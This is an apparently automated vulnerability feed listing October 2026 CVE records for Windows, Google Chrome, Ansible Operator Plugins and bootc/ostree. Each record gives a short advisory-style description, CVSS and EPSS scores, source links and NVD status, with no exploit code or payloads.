CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102214).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102214&date=2026-10-25).
Sources:
NVD CVE-2026-102214: https://nvd.nist.gov/vuln/detail/CVE-2026-102214
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102214
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102214&date=2026-10-25
Use after free in Windows Hyper-V allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102215
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102215).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102215&date=2026-10-25).
Sources:
NVD CVE-2026-102215: https://nvd.nist.gov/vuln/detail/CVE-2026-102215
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102215&date=2026-10-25
Heap-based buffer overflow in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-102216
Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102216).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102216&date=2026-10-25).
Sources:
NVD CVE-2026-102216: https://nvd.nist.gov/vuln/detail/CVE-2026-102216
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102216&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows StateRepository API allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-102217
Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102217).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102217&date=2026-10-25).
Sources:
NVD CVE-2026-102217: https://nvd.nist.gov/vuln/detail/CVE-2026-102217
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102217&date=2026-10-25
Improper resolution of path equivalence in WebDAV allows an authorized attacker to elevate privileges over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113074
Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113074).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113074&date=2026-10-25).
Sources:
NVD CVE-2026-113074: https://nvd.nist.gov/vuln/detail/CVE-2026-113074
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113074&date=2026-10-25
Use after free in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113071
Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113071).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113071&date=2026-10-25).
Sources:
NVD CVE-2026-113071: https://nvd.nist.gov/vuln/detail/CVE-2026-113071
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113071&date=2026-10-25
Use after free in Notifications in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113055
Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113055).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113055&date=2026-10-25).
Sources:
NVD CVE-2026-113055: https://nvd.nist.gov/vuln/detail/CVE-2026-113055
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113055&date=2026-10-25
Type confusion in FullScreen in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113053
Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113053).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113053&date=2026-10-25).
Sources:
NVD CVE-2026-113053: https://nvd.nist.gov/vuln/detail/CVE-2026-113053
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113053&date=2026-10-25
Use after free in Cookies in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113043
Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113043).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113043&date=2026-10-25).
Sources:
NVD CVE-2026-113043: https://nvd.nist.gov/vuln/detail/CVE-2026-113043
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113043&date=2026-10-25
Use after free in iOSWeb in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113031
Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113031).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113031&date=2026-10-25).
Sources:
NVD CVE-2026-113031: https://nvd.nist.gov/vuln/detail/CVE-2026-113031
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113031&date=2026-10-25
Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113032
Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113032).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113032&date=2026-10-25).
Sources:
NVD CVE-2026-113032: https://nvd.nist.gov/vuln/detail/CVE-2026-113032
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113032&date=2026-10-25
Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113033
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113033).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113033&date=2026-10-25).
Sources:
NVD CVE-2026-113033: https://nvd.nist.gov/vuln/detail/CVE-2026-113033
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113033&date=2026-10-25
Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113034
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113034).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113034&date=2026-10-25).
Sources:
NVD CVE-2026-113034: https://nvd.nist.gov/vuln/detail/CVE-2026-113034
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113034&date=2026-10-25
Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113036
Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113036).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113036&date=2026-10-25).
Sources:
NVD CVE-2026-113036: https://nvd.nist.gov/vuln/detail/CVE-2026-113036
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113036&date=2026-10-25
Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113037
Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113037).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113037&date=2026-10-25).
Sources:
NVD CVE-2026-113037: https://nvd.nist.gov/vuln/detail/CVE-2026-113037
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113037&date=2026-10-25
Use after free in WebSockets in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113039
Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113039).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113039&date=2026-10-25).
Sources:
NVD CVE-2026-113039: https://nvd.nist.gov/vuln/detail/CVE-2026-113039
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113039&date=2026-10-25
Use after free in Bookmarks in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70285
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70285).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70285&date=2026-10-25).
Sources:
NVD CVE-2026-70285: https://nvd.nist.gov/vuln/detail/CVE-2026-70285
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70285
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70285&date=2026-10-25
Heap-based buffer overflow in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR)...
https://kevwire.com/record/CVE-2026-92982
A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR)... (Oct 15, 2026).
A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod. This can lead to arbitrary code execution and privilege escalation, granting the attacker control over the operator's service account with cluster-wide permissions.
CVSS 8.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92982).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92982&date=2026-10-25).
Sources:
NVD CVE-2026-92982: https://nvd.nist.gov/vuln/detail/CVE-2026-92982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92982&date=2026-10-25
A flaw was found in Ansible Operator Plugins. A low-privileged Kubernetes user can exploit a Jinja2 template injection vulnerability by crafting malicious custom resource (CR) specification values. These values are processed by Ansible without proper sanitization, allowing embedded Jinja2 expressions to be executed within the operator pod. This can lead to arbitrary code execution and privilege escalation, granting the attacker control over the operator's service account with cluster-wide permissions.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature...
https://kevwire.com/record/CVE-2026-16460
A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature... (Oct 19, 2026).
A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature policy. Unsigned OS content staged under a prior permissive policy can remain bootable after policy is hardened to reject unsigned images, leading to full host compromise on reboot.
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-16460).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-16460&date=2026-10-25).
Sources:
NVD CVE-2026-16460: https://nvd.nist.gov/vuln/detail/CVE-2026-16460
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-16460&date=2026-10-25
A flaw was found in bootc and ostree. Already-staged deployments are finalized without revalidating the deployment's container image against the current containers signature policy. Unsigned OS content staged under a prior permissive policy can remain bootable after policy is hardened to reject unsigned images, leading to full host compromise on reboot.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101665
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
